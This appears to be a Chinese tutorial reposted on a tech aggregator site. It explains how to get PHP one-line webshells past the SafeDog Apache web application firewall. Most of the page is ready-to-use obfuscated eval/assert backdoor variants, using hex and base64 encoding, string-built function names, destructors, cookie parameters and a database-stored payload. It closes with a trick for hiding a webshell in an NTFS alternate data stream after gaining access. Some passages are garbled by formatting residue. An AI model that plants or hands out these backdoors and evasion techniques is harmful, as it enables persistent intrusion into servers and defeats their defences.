WAF绕过

编程入门 行业动态 更新时间:2024-10-21 13:41:34

<a href=https://www.elefans.com/category/jswz/34/1758982.html style=WAF绕过"/>

WAF绕过

WAF绕过之小马免杀

WAF:安全狗-Apache版 v4

正常的PHP一句话木马:
<?php eval($_REQUEST[6]);?>

对于这个正常的一句话木马,安全狗会拦截。

关于拦截其实最主要的还是测试,看看Waf究竟怎么拦截。[最直接的检测应该是正则匹配]

我们尝试只写<?php eval();?> 发现没有拦截,但是加了 R E Q U E S T [ 6 ] 就 拦 截 了 那 么 我 们 是 不 是 可 以 尝 试 测 试 看 看 究 竟 拦 截 _REQUEST[6]就拦截了 那么我们是不是可以尝试测试看看究竟拦截 R​EQUEST[6]就拦截了那么我们是不是可以尝试测试看看究竟拦截_REQUEST[6]的那个部分。

然后测试发现,他拦截的是$_REQUEST[

那么我们只要不出现中括号就可以解决对吗?或者我们尝试把这个变量换一个就可以解决。

end()函数

end() 将数组的内部指针移动到最后一个单元并返回其值

绕过
<?php eval(end($_REQUEST))?>
常量定义 define

define:定义一个常量:difine(常量名,常量值)

绕过
<?php define("a",$_REQUEST[6]);eval(a);?>
字符串拼接+$$
绕过
<?php
$a = 'ass';
$b = 'ert';
$func = $a.$b;
$x = 'func';
$$x($_REQUEST[6]);
?>
函数分离
绕过
<?php
function func($a){
return $a;}
eval(func($_REQUEST[6]));
?>
定义类
绕过
<?php
class Test{public $a = '';function __destruct(){eval("$this->a");}
}
$t = new Test;
$t->a = ''.$_REQUEST[6];
?>
多方式传参
绕过
<?php
$cookie = $_COOKIE;
foreach($cookie as $key->$value){if($key=='assert'){$key($_REQUEST[6]);}
}
?>
已定义数组

get_defined_functions():返回数组,包含了所有已定义的函数,包括内置(internal) 和用户定义的函数。 可通过 a r r [ " i n t e r n a l " ] 来 访 问 系 统 内 置 函 数 , 通 过 arr["internal"]来访问系统内置函数, 通过 arr["internal"]来访问系统内置函数,通过arr[“user”]来访问用户自定义函数.。

5.6.27:[850]=> string(6) “assert”

5.4.45:[841]=> string(6) “assert”

7.0.12:[763]=> string(6) “assert”

绕过
<?php
$a=get_defined_functions();
$a['internal'][841]($_REQUEST[6]);?>
关键函数编码

对关键函数的字符串进行变换

绕过
<?php array_map("ass\x65rt",array($_REQUEST[6]));?>

\x65对应的字母是e
\x后面跟的是字符ASCII码的十六进制,e的ASCII码16进制为65

base64编码函数

assert的base64编码是:YXNzZXJ0

绕过
<?php 
$func = base64_decode("YXNzZXJ0");
$func($_REQUEST[6]);
?>

多次base64编码:

<?php eval(base64_decode(U2tZNVUxSldSbFpTVms1VlYzcGFaQT09));?>
外联数据库绕过
绕过
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','test'),'select * from info'))['info']); ?>

windows 隐藏shell:nfs文件流(拿到shell后)

cmd:

echo helloworld >> /:test.txt

test.txt文件不会显示在文件夹中。

但是可以使用1.php去包含test.txt

<?php 
include("/:test.txt")
?>

隐藏:
echo "<?php eval($_REQUEST[6])?>" >> /:123.txt

1.php:

<?php include("/:123.txt")
?>

(img-Qsc4GGZC-1621259989767)]

隐藏:
echo "<?php eval($_REQUEST[6])?>" >> /:123.txt

[外链图片转存中…(img-fJlQhLoH-1621259989768)]

1.php:

<?php include("/:123.txt")
?>

更多推荐

WAF绕过

本文发布于:2024-02-26 21:18:50,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1703950.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:WAF

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!